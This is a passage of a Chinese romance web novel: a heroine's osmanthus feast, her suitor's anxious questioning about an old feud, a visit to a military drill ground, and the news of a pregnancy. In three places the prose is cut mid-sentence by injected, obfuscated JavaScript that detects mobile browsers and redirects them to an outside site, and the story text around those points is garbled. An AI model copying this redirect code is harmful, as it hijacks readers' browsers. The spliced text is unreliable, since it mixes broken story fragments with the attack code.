怕触及徒弟的伤心事,这事梅映禾一直都没敢问,但是这些日子瞧着沈聪情绪状态还都挺好,只是再未见过五娘子伴其左右。 看着梅映禾小心翼翼又关切的神情,沈聪一笑,“成了,准备中秋之后便成亲了。” 呀,真是个大喜事,连小梅也激动地从柜台后头跑出来,拉着沈聪的衣襟问:“梁国公接纳你了,用了什么法子。” 沈聪被问得脸有些红了,神情却十分骄傲,“动之以情晓之以理,然后便是厚着脸皮上门,任人打骂皆是笑脸相迎。” 说完又道,“当然,岳丈大人并未打骂我,只是不理我而已。” 国公爷千金下嫁商贾之家,说出去自然并非门当户对的亲事,但若真是二人情谊深厚意志坚定,也终会成眷属。 为了沈聪和五娘子,沈东家搬出了半壁家底,光是那往国公府送去的成箱的金元宝都是用马车足足拉了二十几车,更别提良田、庄子、奴仆还有整条街的铺面。 据说吓得辅国公都不敢收了,生怕御史台参他一个富可敌国财帛过于丰厚,消受不起。 但是毕竟沈家的诚意无论是沈聪本人,还是沈家长辈和财帛的支持,都足以显示出对五娘子的重视,再加上五娘子的坚持,国公爷夫妇这才让了步。 谁知谈婚论嫁的过程二老才意识到这未来女婿有多好,一表人才行事稳重,对女儿更是一片痴心,真是无一处不满意的。 听得梅映禾都跟着激动,“到时候成亲我要送上一份大礼,给我徒弟再添助益。” 收获的季节就应当是喜庆欢愉的,梅映禾看着眼前热闹纷呈的街面,很是满意。 如今事情做得多了,许多细节上自然顺手起来,身边又有沈聪安排的帮忙跑腿的人,个个机灵能干,梅映禾只消吩咐下去不用亲自上阵便能得到想要的信息,效率也更高了。 坐在廊下,看着雾蒙蒙的小雨中依旧热情不减的人们,梅映禾捧着一杯热茶悠闲地发呆。 “许久没吃到你的手艺了。”小梅也捧着一杯热茶过来,在她身边坐下,“甚是想念呢。” 梅映禾失笑,看了看日渐丰腴面色发亮的嫂子,调侃道:“嫂嫂这是又馋嘴了,我瞧着这身新做的衣裳好像都有些紧了呢。” “是吧。”小梅也瞪大眼,还特意站起身转了一圈,问:“真的这么明显吗,我也觉得最近胃口好得很,是不是胖了很多。” 梅映禾十分慎重地审视后点了点头,又摇了摇头,“虽说丰腴了一些,可是嫂嫂过去太瘦了,胖一些才好看,想吃什么你说,今儿闲着无事我来下厨。” 小梅一抚掌,笑道:“还得是你,就是会说话善解人意,我也觉得自己气色好看了许多,到底是要富态一点才更美,更何况现在正是添秋膘的时候。” 可是吃什么呢,大鱼大肉珍馐美味平日也不缺,店里现在这么多大厨,每个人的手艺她都吃过来一遍了,没什么特别想吃的。 可是嘴巴里又觉得没滋味。 二人正说着,刚巧过来一位戴着斗笠的老翁,肩上挑着担子,原本应该穿在身上的蓑衣被拿去盖在了担子上的两个篮子了。 “阿翁冒着雨也要护住自己的篮子,卖的什么好东西啊。” 梅映禾请阿翁入店内坐下,又送上一杯茶水,“阿翁歇一歇脚。” 老翁笑着道谢,“没什么好东西,自家树上的桂花,今年结得好,这才想着拿出来看看是不是有人要,也能换些银子给孩子们添个肉菜。” “好香啊。” 隔着盖布和蓑衣,梅映禾已经闻到了香气。 “看看,看看。”老翁打开来,满满两筐黄澄澄的桂花赫然眼前,香气立时飘散满屋。 “真新鲜。” 老翁保护得极好,两小筐桂花颗颗饱满圆润,被捧起来还颤悠悠的。 “我都要了。”梅映禾十分爽快,直接拿出一块碎银递到老翁手上,转头对小梅说,“今日咱们做桂花宴,给你解解馋。” 老翁赶忙起身道:“要不了这么多,小娘子给多了。” 梅映禾推拒,“阿翁尽管收下,趁着雨小赶快回家去,我便是这间酒楼的东家,往后若是还有新鲜的桂花,其他的花卉蔬菜尽管送来。” 说着又拉着小梅介绍,“这位是我的嫂嫂,若是我不在这里便是她说了算,阿翁的东西好,尽管送来便是。” 老翁再三道谢这才喜气洋洋地走了。 将桂花淘洗干净,梅映禾撸起袖子准备大干一场。 “嫂嫂爱吃桂花糕,我爱喝桂花酿。”她一边干一边念叨着,“咱们再试试桂花酒酿鸡头米,还能做桂花糖藕、蜂蜜桂花炖牛乳,再做一份桂花酱留着慢慢吃,剩下的还能做几个桂花香囊,嫂嫂负责针线活儿我负责准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910054|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干花,到时候哥哥和七哥一人一个。” 小梅笑着帮忙,“若是还有富余留给我敷个脸。” “好。”梅映禾答应着,“我也要敷脸。” “好香啊,你们姑嫂做什么呢。” 二人闻声抬头望过去,魏默。 自从上次认识后,魏默便经常登门,如今依然混得很熟,梅映禾也不起身,继续忙着手里的活,示意她坐下喝茶。 “这么多桂花。”魏默饶有兴趣地跑过来闻了闻又看了看。 “方才老翁卖的,我瞧着新鲜就都买下了。”梅映禾将打算做的桂花系列又说了一遍。 魏默目瞪口呆,“还有这么多花样呢。” 说完眼神便定在桂花上头再挪不开眼了。 “魏娘子今日来是有事?”小梅忙问。 魏默点了点头,“想来看看最近文明修那个呆子有没有过来,我有好几日没见过他了。” 声音有些沮丧,神情却还好。 小梅看了梅映禾一眼,“文大人许久没来过了,你们二人不是和好了吗。” 魏默点头,“是和好了,可是他实在是个木鱼脑袋,也不知是不是有意躲着我。” 这种你追我赶的戏码魏默玩得乐此不疲,梅映禾想了想道:“可能还真不是故意躲着你,我听说最近陛下常召文大人入宫,想来是真的忙。” “是吗。”魏默的声调明显上扬了不少,脸上露出笑模样,“我就说嘛,精诚所至金石为开,我这么美貌就不相信打动不了他。” 说完,索性撸起袖子坐下来,“既如此那我也不找他了,你们这个桂花宴能否带我一份,我不白吃,方才说得那个什么桂花香囊,绣活包在我身上,保准找我家最厉害的绣娘做最好看的香囊。” 梅映禾和小梅都不是能耐心做绣活儿的性子,既然有绣娘当枪手,何乐不为。 于是乎,二人小组变成了三人。 娇艳明媚的小娘子们坐在榕树下,细雨微止晚霞铺陈,灿烂的容颜清脆的笑声飘散在旖旎瑰丽的风光之中。 桂花糕做起来最容易,小梅已经能做得得心应手了,梅映禾便专心做其他的。 桂花酿也常做,甜丝丝香喷喷的,梅映禾多了几分耐心,这次一定要做出最好喝的桂花酿。 桂花香囊也分派给了魏默,剩下的桂花酒酿鸡头米,可以用桂花酿来做,桂花糖藕要加入糯米、红枣和红曲米水,但是味道也是最好的。 蜂蜜桂花炖牛乳最简单,随手炖上便是。 桂花酱需要注意火候还不能随意搅拌,梅映禾亲自盯着,做出来如琥珀一般惹人垂涎…… 入夜,赵行之来的时候,满屋子飘着桂花的香甜和酒酿醉人的气味。 梅映禾敷着淡黄色的桂花液,整张脸上都是桂花,正自斟自饮,旁边小梅也是一脸桂花,正在一块接一块地吃着桂花糕,魏默同样顶着桂花脸在发香囊。 三个人似乎都喝了不少,眉目含笑东倒西歪。 看到赵行之,梅映禾赶忙踉跄着起身,“七哥快来,这是我做的……香囊,送给你的。” 赵行之接过那和秀舫铺子里一般无二的香囊,笑了一下,“真的是你做的。” 梅映禾没想到如此快就被揭穿,嘿嘿一笑,“我做的桂花粉,自然也算我做的。” 说完那张精致的桂花小脸就凑了过来,“香不香。” 82. 试探 迎面而来的是温香软玉一般的女孩儿,迷离的笑眼,桂花覆盖下已经泛起绯红的面颊,诱得人想品尝。 赵行之有一瞬间的怔愣,脑子里不合时宜地想起了那些佑安带回来的证据。 要不要现在就告诉她当年的一切,这个想法一直往脑子里钻,挥之不去。 他们的关系才有些起色,这些日子是赵行之最快乐幸福的时光,他也能看出来小早也很高兴,可是如果现在说了,这些美好是不是从此就不复存在了,她会如何对他,报仇吗,恨之入骨吗,还是…… 不敢深想下去,可是怎么都控制不住自己的大脑。 看着他呆愣愣的样子,梅映禾大笑,“怎么了,七哥是被香迷糊了吗。” 笑声清甜悦耳,打破了宁静的夜色,赵行之回神轻轻拉过她的手,将那细白纤长的指头捏在手中把玩,“香,非常香。” 梅映禾很骄傲,桂花酿的后劲儿有点儿大,对于她的酒量而言这会儿看人都有些模糊了,整个人卸了力气都一样没骨头似的靠在赵行之身侧,二人并肩坐在石阶上。 头顶就是又大又圆的月亮,离得近了,能看到月亮上坑坑洼洼的不平。 “七哥喜欢,我以后多多给你做。”她含混道,举起酒盏又喝下一杯,“做好多好多时令的花卉香囊,这样七哥身上就总是香香的了,好不好。” 这是她的美好愿望,赵行之没有打断,也没有阻止她继续饮酒。 有他在她身边陪着,小早可以做任何自己想做的事,无需担心。 随着她的话想下去,那该是多么美好的画面啊,那时候他们应当已经结为夫妻了吧,或者还有了自己的孩子。 每日她都帮他把衣裳打理好,带上她亲手做的香囊,各色花卉香味各异,多幸福美好的未来啊。 “七哥,七哥。” 梅映禾的呼唤声将赵行之的思绪切断,看着小娘子殷切的眼神,赵行之揽过她的肩头靠在自己胸口,“好,以后都有你说了算,我都听你的。” 嘻嘻,小早默默地笑了,笑得很开心。 望着皎洁的月色,赵行之还是忍不住开口。 “小早,如果,我是说如果,你发现你信赖的人欺骗了你,你会如何。” 这话说出口,他就觉得自己的心怦怦直跳,难以控制的紧张感蔓延全身。 “嗯。”梅映禾十分认真地想了想,“那要看是因为什么样的事情,或大或小或有难言之隐或情有可原,现在可说不好。” 闻言,赵行之莫名轻松了许多,他的小早啊,真是聪明伶俐善解人意,不会一竿子将人打死。 有了些许底气,他又追问,“那若是瞒着你却和你有仇呢。” “嗯?”梅映禾不明所以,“什么样的仇。” “不共戴天。” 赵行之还是坚持了试探,话甫一出口他就一瞬不错地盯着她的脸,希望可以从她微小的表情变化中窥探出些许所思所想。 她的脸色褪去了绯红,变得看不清楚,表情也越来越凝重,看着他的双目逐渐聚焦,眼神中似乎透出一种冷冷的光,是那种受到惊吓后的惶恐和背叛后的失望…… 这样的表情这样的眼神太折磨人了,她是不是知道了什么,或者是闻弦音而知雅意,难道,她猜到了吗,小早这么聪明一定是猜到了。 赵行之要坚持不下去了,她再不说话他就要和盘托出了。 可是小早似乎喝得有点多,翻着眼皮想了想,“不可能。” 一个意料不到的答案宣之于口,让赵行之紧绷的心骤然放松。 “既然是你信任的人怎么会有那么深的仇怨呢,七哥又说笑话逗我。” 她闭上了眼,慢慢靠在他怀中,呼吸逐渐均匀,睡着了。 如临深渊,如释重负。 赵行之长长地松了一口气,多少年未曾有过这种感觉了。 将脸颊贴近小娘子的睡颜,赵行之抬头看着月亮,算了别想了,小早说过,对于未曾发生的事情的担忧就是焦虑,他不应该焦虑,一切都等到发生了再说吧,他的小早啊,不是个寻常的小娘子。 * 入秋后的日子过得飞快,美食节给整个京城带来了热闹和喜庆,全然不似那枝头凋敝的落叶和日渐萧瑟的寒意。 到处一片生机盎然。 梅映禾自尝试桂花成功后,隔了几日那老翁又送来各色菊花,这次是老翁带着老伴儿一起过来,说什么都不收银子,非要送给她。 梅映禾拗不过,只得给老翁带了许多点心、酱菜和现有的菜肉,扁担挑不动了,索性用马车送回去。 老翁感动得手足无措,一直说:“怎么使得怎么使得,本是来送东西的,反而叫东家小娘子如此破费。” 梅映禾说:“阿叔的花养得极好,还免去了我来回跑腿的麻烦,如何使不得,又不是什么贵重的东西,都是现成的,收下吧,天气凉了赶紧回家去吧。” 这才送走了老两口。 转回头看着满眼开得如火如荼的各色菊,眼神骤然放亮。 “万寿菊、黄金菊、波斯菊还有矢车菊,别说,阿叔的菊花还真是不错。” 梅映禾如数家珍,面对着一地开得繁盛的菊花若有所思。 “做点儿什么吃的好呢。” 身后魏默的声音传来,这话倒是说到了梅映禾的心坎里。 “这样美丽的菊花放在水里养着,终有一日会衰败,多可惜,不如做成吃的让它们长长久久地待在肚子里,唇齿留香再难忘,多美好。” 梅映禾话音刚落,身后赵行之的脚步顿住,听到她这番生猛的言辞,忍不住笑道:“我这个来蹭美好的食客岂不是来得正好。” “七哥。” 梅映禾笑嘻嘻地跑过去,一把抱住他的胳膊,二人旁若无人地往里走去。 看得魏默一阵惊讶一阵失落,表情着实异彩纷呈。 小梅递给她一杯牛乳,问:“怎么了,不习惯他们这样啊。” 魏默点了点头,自以为自己很有勇气了,可是…… “有什么不习惯的。”梅映禾从里头走出来,“男未婚女未嫁,相处起来光明正大,没想到魏娘子竟是如此保守迂腐之人吗?” 魏默叹气,“怎么可能,只是这样的甜蜜也要有人配合才是。” 想起文明修,魏默实在懊恼。 “那个书呆子整日把自己关在官署里,不是忙政务就是看书习字,从没有时间陪我出来。” 说完又看了一眼雅间里头坐得笔直的赵行之,羡慕道:“你看,他几乎日日来,我来了三日,他来了三日,这么黏人,多好。” 梅映禾试着从她的角度看过去,赵行之正认真地写着什么,坐得笔直端正,眉目凌然全神贯注,的确是要样貌有样貌,要黏人也黏人的。 “那你想要他如何。”梅映禾问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915904|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是文明修。 魏默转过脸叹气道:“我喜欢他直接一点,生猛一点,过分一点都可以。” 过分一点,如何叫过分一点。 梅映禾和小梅对视一眼,探究的眼神齐齐看向魏默。 小娘子们之间的悄悄话,有何说不得。 “就是……”魏默也不知该如何形容,转头看着梅映禾问:“他可曾主动亲过你,拉过你的手,或者做点更……更厉害的事。” 嗯,怎么问到她头上了。 梅映禾怔愣,脑子里瞬间想起了那些脸红心跳的时候,面颊已然开始发热。 “怎么样,我就说吧。”魏默好似发现了宝藏,“就是这种感觉,我就想那个书呆子也能这样对我,他倒好整日斯斯文文君子得很。” 不满,生气,又不好意思因此发作。 梅映禾却因为被套了话而自顾羞愧着,魏默不以为然,“没什么可害羞的,你都不知道我有多羡慕你,所谓窈窕淑女君子好逑,你美丽可爱他才会动心,都是血气方刚的年纪,忍不住也是正常。” 说完偷偷看了一眼赵行之的方向,压低嗓音问:“你们两个是不是已经……” 啊,梅映禾愕然。 这种话题适合在这种人来人往的酒楼里聊吗。 虽说她并不在乎那些有的没的,可是超越那一步到底还是艰难了些。 两世母胎单身的梅映禾还是有自己最后的底线的。 头摇得似拨浪鼓,梅映禾赶紧解释:“没有没有。” 嫂嫂还在身边呢,这种话传到梅九畴耳朵里,梅映禾打了个激灵,她哥不会放过赵行之的。 魏默看着她一脸真诚,恨铁不成钢道:“这样的男人你都不先下手为强吗,等着被别人抢走了有你哭的。” 梅映禾:…… 看着她又是一脸懵,魏默叹了口气谆谆教诲,“我教你几招,先吃到肚子里放心,若是觉得吃得不香也免去了日后下聘定礼成亲和离那一套麻烦的事情了。” 这思想不是一般的前卫,竟勾起了梅映禾的好奇心,“如何做?” 小娘子瞪着两只单纯的大眼睛,像极了小孩子窥探大人世界的秘密,那种求知和好奇的神情让人忍俊不禁。 魏默得意道:“酒有吧。” 梅映禾点头。 “先把人灌醉,后面一切都好说,但是别醉得不省人事,火候得把握好,要有五六分醉意还不能耽误事的那种。” 梅映禾:…... 这太难了,以她的酒量,估计连小九都灌不醉,更别提七哥了。 “这招不行就换一招,更直接的。”魏默一拍巴掌,“那种图册你看过吗?” vbf 小梅叹道:“我成亲之前我娘给我看的,你当时你也看了一眼,就那种。” “哦,看过……一点点。”梅映禾想起了上头两个小人儿,羞红了脸。 几个小娘子在这里正密谋如何让不远处雅间里的那个男人就范呢,这么短的距离算计人,好刺激啊。 “回头我给你一壶药酒。”魏默神秘兮兮,“只消一杯就能让他情难自已……” 后头的话没听完,梅映禾的脑袋被一只大手捂住,整个人被扛走了。 “什么药酒,我还没……” 赵行之把她塞到马车里,面颊已泛起潮红,吩咐佑安:“去告诉文明修休沐三日,让他速速成亲。” 83. 后继有人 “她还没说完呢。” “我还有事要问呢。” …… 据说有四大按不住:过年的猪,受惊的驴,生气的媳妇,上岸的鱼。 赵行之此刻觉得,小早就像那上岸的鱼,溜滑打挺。 马车启动,不安分的小娘子还在怀里扑腾着,梅映禾喝了酒失了力道,那点儿挣扎仿若给他挠痒痒,却骚弄得赵行之燥热难耐。 “七哥……” 她原本应当是生气的口吻在出口的一瞬间变成了撒娇卖乖。 小娘子红扑扑的小脸上还挂着甜蜜蜜的桂花浆,一双小手拉着他的衣襟扯啊扯,拽啊拽。 “别动。”赵行之的嗓音略有些低哑,“安分些。” “我不。” 那双小手再次攀上他,可实在是因为酒力作用,梅映禾觉得自己的双手重似千斤,举不起来只能落在他的双腿上。 谁知这一下却让赵行之再难动弹,那种只有自己知道的悸动和不安越发紧绷起来,连带着整个人都僵硬了。 “七哥,七哥。” 小娘子无知无觉地拽着搭在腿上的衣襟左右摇晃,那不轻不重的力道刚好掠过不适,越发难耐。 “乖。”他伸出手去按住了她的小手,“再动就受不了了。” 这话甫一出口连赵行之自己都愣了一瞬,看向梅映禾的眼神便成了探究。 她听得懂吗。 自然是听懂了。 没吃过猪肉还没见过猪跑吗,梅映禾此时才彻底清醒了。 不由自主地视线下移,将将要落在那处的时候,被火烫似的赶忙收回视线避开要害,一张红透了的小脸却已经出卖了她。 眼神躲闪,脑子也是一团乱,梅映禾终于安静了下来。 车厢本就不甚宽敞,虽已入秋,却经过方才那一番折腾,二人身上都起了薄汗。 紧挨着坐在一起,更觉尴尬。 梅映禾捋了捋鬓边散落的碎发,借着整理衣裙的空儿起身挪过去,坐在了赵行之的对面。 好漫长的道路啊,好窒息的感觉啊。 赵行之也悄悄深吸了一口气,缓缓吐出,怎么有一种做了坏事被抓包的感觉。 好在那处很快熄火平稳,身上的燥热褪去,脸上也恢复了正常的颜色。 再看看对面的小娘子,撩起车帘正在向外看着什么,心不在焉。 她究竟懂没懂,赵行之想起了方才魏默的话,再想想小早的反应,心里开始打鼓。 他以为小早是懂的,可是方才魏默已经说到那份儿上了,她却仍旧一脸茫然,可见并非真的懂。 若是不懂,那方才自己的反应,她别是误会了。 不会觉得他不行吧。 这个可怕的想法冒出来,赵行之坐不住了。 想要找个机会解释却不知如何才能自然过渡开口。 琢磨了许久,抓住了她的手。 梅映禾被这突如其来的动作吓了一跳,整个人僵硬地坐得笔直,不知道他又想做什么。 那双手被他捏在掌心,包裹得很严实。 他望向自己的眼神透着一种意味不明的紧张。 赵行之拉着他的手缓缓向自己这边移动,慢慢落在自己的双腿之间。 那一瞬,梅映禾如遭雷劈。 脑子里嗡嗡直响。 不会吧,这是要做什么,不是应该退潮了吗,难道他还在兴奋吗。 怎么办,现在可是在马车上,青天白日的,车帘还被高高卷起,难道是要当着人来人往做那种事吗。 不行不行,实在太尴尬了,他是不是疯了。 不会吧,七哥没喝酒啊,怎么就醉了呢…… 脑子里胡思乱想,梅映禾的面颊再一次红了起来。 果然,赵行之想,小早的脸又红了。 她不是完全不懂,怕是一知半解。 这才是更可怕的。 赵行之清了清嗓子,他不想让小早误会他不行,因为方才喊停的时候他显得很急迫,很紧张。 他行,他可以的。 “七哥你……” “我只是想告诉你。”赵行之开口,声音竟然有些微微发颤。 努力平复自己的心情,赵行之压下颤音,“我是个正常的男人,非常正常,没有问题。” 梅映禾:…… 然后呢,想要证明吗。 看着她一脸无措,赵行之有些着急,“我,我从未有过这样的冲动。” 梅映禾当真有些害怕了,都冲动了,这是要…… “小早,我是说我对你有热情有冲动,有难以把持的……”他有些语无伦次,“但是,我会控制,我必须控制,因为我想保护你,我要等到我们成亲之后才能给你最完整的一切,所以,我只想告诉你我没问题,很好很强壮,也会好好爱护你,不用担心。” 原来是这个意思,梅映禾长舒了一口气,那些紧张、彷徨、担心一瞬间消失殆尽,整个人也终于放松下来。 她努力回握住他的手,指节发凉,还有些微微颤抖。 “嗯,我信你。” “你信我是吗,真的信我。”赵行之热泪盈眶。 梅映禾点头,将他的激动看在眼里。 “我会安排好一切的,会的。” 梅映禾只觉得疲累,靠在他的肩头听着他重复着那句话,心里想着,既来之则安之,那就让他去安排吧,一切顺其自然便好。 不知不觉脑子转不动了,眼皮打架再也睁不开了。 马车辘辘地行在街道上,阳光透过马车的窗帘照进来,晒在身上暖融融的。 小娘子的小脑袋往赵行之的怀里钻了又钻。 他用自己的巾帕小心翼翼地蘸着杯盏中温热的茶水,帮她抹掉面颊上那层黏腻的桂花膜,露出白皙柔嫩的肌肤。 原本就吹弹可破的脸蛋敷过桂花之后变得更加柔嫩丰盈,赵行之忍不住用小指轻轻勾了勾她的小脸,鼓澎澎颤悠悠的,好像那刚端上来的嫩豆腐。 整张面擦拭干净,赵行之这才发现原来他的小早啊真的是天生丽质,每日看见她都是白净得仿佛透明的脸,还以为是敷了脂粉,如此一看她竟是每日都素面朝天也这般仙女似的容颜。 真真是捡到宝了,赵行之开心地紧了紧自己的怀抱。 “唔。” 梅映禾被弄醒了,惺忪的睡眼缓缓睁开,看到了那张熟悉的俊颜。 “七哥。” “醒了。”赵行之重新拿了一个杯盏,倒了温热的茶水递给她,“喝点水润润喉。” 梅映禾接过饮尽,“我们这是去哪里。” “带你去看看你哥。”他笑着看了一眼窗外,“就要到了,今日正好是他比试的日子。” “真的吗,太好了。”梅映禾欣喜,方才的话题抛之脑后遗憾道:“早知道叫上嫂嫂一起来了。” 赵行之摇头,“你嫂嫂若是在这里恐怕九郎今日必输无疑。” 梅映禾哈哈笑了,倏然想起自己的脸,赶紧去摸才发现又滑又干净。 “帮你擦过了。”赵行之拉过她的手,“背过去坐,帮你梳梳头发。” “七哥还会梳发髻吗?” “从前小时候帮母后梳头,特意学的。”想起往事,赵行之笑得很温柔,“那时候母后总调侃我,说将来要是不会梳发髻就找不到新娘子。” 说完他低着头觎着小娘子的脸,逗她:“所以我会梳发髻,也找到了新娘子。” 小早的脸啊又红到了脖子根。 马车停下,刚一下车梅映禾就听到了演武场上传来的喊声,声势浩大震聋发聩。 跟着赵行之走到座席,这里是一片开阔的场地,座席旁边放着武器架子,各种兵器整整齐齐排了好几排。 正中央有一块高台,是用来演武比试用的。 梅九畴光着上身同人比试,正是最焦灼的时候,梅九畴被那人按在地上无法动弹,看得梅映禾胆战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921807|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心惊,都忘了挪步子。 接过就见他不急不躁,抓住了对方的弱点一个鲤鱼打挺将人反手压制住。 二人已经拼尽全力,最后的时刻都早已精疲力竭,那人举手投降,面上带着笑,抱拳时梅映禾看到他的口形,说的是:“佩服佩服。” “哥哥。” 梅映禾朝着走下高台的哥哥挥手,九郎赶紧往这边跑。 “王爷怎么将她带来了。”梅九畴揉了揉小早的发顶,往他们身后看去,“你嫂子没来。” 梅映禾:…… 对上赵行之那意味深长的眼神,梅九畴心领神会,“无碍,明日休沐回家去看她。” 说完又赶紧夸赞,“你这丫头真是有福气,王爷对你多好,这样的地方也能带你来,这可是军事重地,没有旨意外人可是进不来的。” 真的吗,梅映禾转头看赵信之,他轻斥道:“本王乐意。” 对,七哥乐意,七哥说了算。 三人正说着,演武场上的比试告一段落,大家看到赵行之来了都围拢过来。 到近前才看到梅映禾,好漂亮的小娘子啊,铁汉们一个个看红了脸,不好意思直愣愣地瞧却又舍不得挪开眼,一个个羞涩又别扭。 梅九畴忙去撵人走,“走走,都走,一边儿歇着去。” “九郎这小娘子是谁啊。” “我妹妹。”梅九畴很骄傲。 “九郎,没想到你竟有这么美貌的妹妹。” “那是。”梅九畴更得意了。 “九郎,你妹妹可曾婚配。” 算是问到点子上了,梅九畴看了一眼旁边好整以暇的赵信之,斥道:“真看不出来吗,我妹妹名花有主,你们有几个脑袋敢跟王爷抢人。” 一群人愣住,随即哄笑着恭喜赵行之,一哄而散。 秋风萧瑟,夕阳西下。 演武场上却是一派生机盎然,看得人热血沸腾。 哥哥好厉害啊,七哥更厉害了。 梅映禾托着粉腮看大家训练,心花怒放。 身后急匆匆的脚步声传来,佑安已至近前,“王爷。” 说完又看向一旁的梅映禾和梅九畴,“九郎,小早,你家里派人传信说……” 佑安脸色不太好,“说小梅在店里滑倒摔了一跤……” 他还没说完,梅九畴已经脱下盔甲,“王爷,我先走一步。” “哥等等我。” 几人乘车迅速往家奔去,一路上梅九畴紧张得满手都是手汗,催促着车夫,“快些,再快些。” 赶在天彻底黑下来之前到了家,几人直奔卧房,刚好大夫起身。 “小梅,怎么了。” 梅九畴急得满头是汗。 “这位便是郎君吧。”大夫朝着梅九畴行礼,“娘子的脚崴伤了,已经上了药,老夫开了方子再吃几副药便无大碍,只是至少十日之内不可下地不能走动,否则会留下病根。” “这么严重吗。”小早赶紧掀开被褥来看,红彤彤的脚踝果然舯得老高。 小梅红着脸道:“无碍,是我饮酒不小心滑了一跤。” 大夫忙提醒,“娘子如今身怀有孕,切莫再饮酒了,小心伤及……” “什么,你说什么。”梅九畴倏然抓着大夫的衣襟将人拎起腾空。 大夫吓得说不出话来,梅映禾忙上去劝住激动的哥哥,大夫这才慢条斯理道:“你们不知道吗,娘子已有孕月余,还未坐稳胎,千万小心啊。” “真的吗,真的吗,我梅九畴有孩子了。” 九郎高兴得差点儿把小梅抱起来转圈。 小梅拭泪,“真的,九哥,我们有孩子了。” 梅映禾也高兴得手舞足蹈,一把抱住旁边的赵行之,高兴得直抹眼泪,“我们家后继有人了,这可是我们家的小宝贝,爹娘知道了该多高兴啊。” 是啊,爹娘知道了一定会高兴的。 赵行之一边安慰着她,一边眼神看向了许且。 84. 解决了一个祸害 带上门出来,将满屋的喜庆关在身后,赵行之随着许且一起转到花园里散步。 月色朦胧,照的园子里氤氲不清。 宅院不大,花卉却十分丰富,什么花都有,随着季节总有此消彼长的时候,不会太过冷清也不会太过热闹。 梅映禾喜欢花,什么花都喜欢,花园子打理得虽没有章法却也随性自在得很。 像极了她的性子。 二人都没有开口,赵行之看着满园秋色,心里很平静。 两炷香的功夫二人的脚步停在许且书房门口。 “殿下请。”许且推门。 “老师请。”赵行之谦让行礼。 书房中燃着烛灯,将整个书房照得通亮。 许且沏了一壶茶,棕褐色的茶汤荡漾出一圈圈涟漪。 赵行之这才悠悠叹了口气。 许且始终眉目含笑地望着他,自己慢慢啜饮一口后才开口: “都想清楚了?” 赵行之的指尖被滚热的茶盏烫得发红,点了点却未曾开口。 “殿下在担心什么。”许且又问。 “虽证据确凿却毕竟是时隔久远的旧事,我担心皇兄含糊揭过不了了之。” 许且不语,一边慢慢饮茶一边听他继续说。这的确是陛下的性格,也符合他一贯的风格,翻案对陛下来说没有好处。 “若是贸然提起这些旧事翻案,我担心会对小早不利,我想保全她。” 这些年身经百战,赵行之从未有过现在这般彷徨、焦虑、踟蹰不前。 许且点头,“毕竟是先帝犯的错,陛下恐也不敢妄断,不如息事宁人的好。更何况当年陛下也是始作俑者之一,这层皇家的遮羞布揭开了,百害而无一利。” 赵行之一仰头将茶水饮尽,声音略有些激动:“他们是我的兄嫂,是我的家人,却让我无法面对。” 许且笑着又给他斟了一杯茶,“担心自己会失去一切吗,为了小早一无所有值得吗。” 赵行之抬头,红着眼眶道:“老师不用试探我,为了小早我可以舍掉一切。” 这个学生是个倔强的性子,许且含笑拿起自己的杯盏轻轻碰了一下赵行之的杯盏,饮尽茶水。 月色透过窗牖照进来,如水般细腻光滑。 许且注视着赵行之,如今他已经长大了,可是这一刻的赵行之仍让他看到了当年的影子。 那个认死理的少年,当年为了维护自己的兄长,被先帝罚跪于祠堂里,整整三日不眠不休不吃不喝,只要他认个错服个软便不用受这些苦楚。 可是他硬是倔强着不开口不认错,直到昏厥过去也不服输。 这么多年过去了,云策长大了,可这脾性却一点儿都没变,真是不长进。 许且笑着摇头,眼里却是得意的光。 “老师。”赵行之不明白许且究竟是什么意思,想要问清楚却又怕老师会拒绝他,一时竟不知如何开口。 “你想提亲?”许且一语中的。 赵行之愕然抬头,又点了点头。 他怕许且不同意。 “那就提嘛。”许且笑道,“你们两个怎么可能分得开。” “可是,若如此小早的身份便会暴露,我怕……”他低下头,“而且若是叫她知道一切,我担心……” 又是怕又是担心的,许且拍了拍他的肩膀,“云策,你又开始纠结了。” “是,老师说得没错。” “你替小早想一想。”许且悠悠开口,“她已经失去了所有,若是连你都失去的话,岂不更是什么都没有了,所以云策,留下,留在她身边,别管会发生什么,小早都需要你。” 月亮从云层之后露出,月华如水,照亮了前路。 “来。”许且起身,亲自收拾了案桌上的茶盏,拿出一张新纸,提笔蘸墨,抬头问他,“说说,你能给小早什么。” 猛地被问,赵行之不明所以。 许且索性点破,“如今我是她义父,自然替她打算,你能出多少聘礼。” 好家伙,老师竟如此大剌剌地问到了脸上。 